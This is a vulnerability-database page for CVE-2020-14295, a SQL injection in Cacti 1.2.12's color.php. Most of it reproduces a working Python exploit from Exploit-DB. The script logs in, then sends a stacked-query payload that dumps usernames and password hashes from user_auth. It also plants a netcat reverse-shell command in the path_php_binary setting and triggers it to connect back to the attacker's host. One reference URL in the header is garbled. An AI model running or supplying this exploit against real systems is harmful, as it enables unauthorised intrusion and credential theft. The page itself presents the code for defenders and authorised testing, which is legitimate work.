CVE-2020-14295

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

A SQL injection issue in color.php in Cacti 1.2.12 allows an admin to inject SQL via the filter parameter. This can lead to remote command execution because the product accepts stacked queries.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-49810 webapps php python · 3 KB
Leonardo Paiva · 2021-04-29

Cacti 1.2.12 - 'filter' SQL Injection

python exploit Source: Exploit-DB
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
    print("[+] Connecting to the server...")
    get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

    print("[+] Retrieving CSRF token...")
    html_content = get_token_request.text
    soup = BeautifulSoup(html_content, 'html.parser')

    csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

    if csrf_token:
        print(f"[+] Got CSRF token: {csrf_token}")
        print("[+] Trying to log in...")

        data = {
            '__csrf_magic': csrf_token,
            'action': 'login',
            'login_username': username,
            'login_password': password
        }

        login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
        if "Invalid User Name/Password Please Retype" in login_request.text:
            print("[-] Unable to log in. Check your credentials")
            sys.exit()
        else:
            print("[+] Successfully logged in!")
    else:
        print("[-] Unable to retrieve CSRF token!")
        sys.exit()


def exploit(lhost, lport, session):
    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

    print("\n[+] SQL Injection:")
    print(exploit_request.text)

    try:
        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
    except Exception:
        pass

    print("[+] Check your nc listener!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

    parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
    parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
    parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
    parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
    parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
    args = parser.parse_args()

    url = args.t
    username = args.u
    password = args.p
    lhost = args.lhost
    lport = args.lport

    session = requests.Session()

    login(url, username, password, session)
    exploit(lhost, lport, session)

Metasploit modules

Cacti color filter authenticated SQLi to RCE
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OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.2.13+ds1-1
sid Fixed 1.2.13+ds1-1
forky Fixed 1.2.13+ds1-1
bullseye Fixed 1.2.13+ds1-1
bookworm Fixed 1.2.13+ds1-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.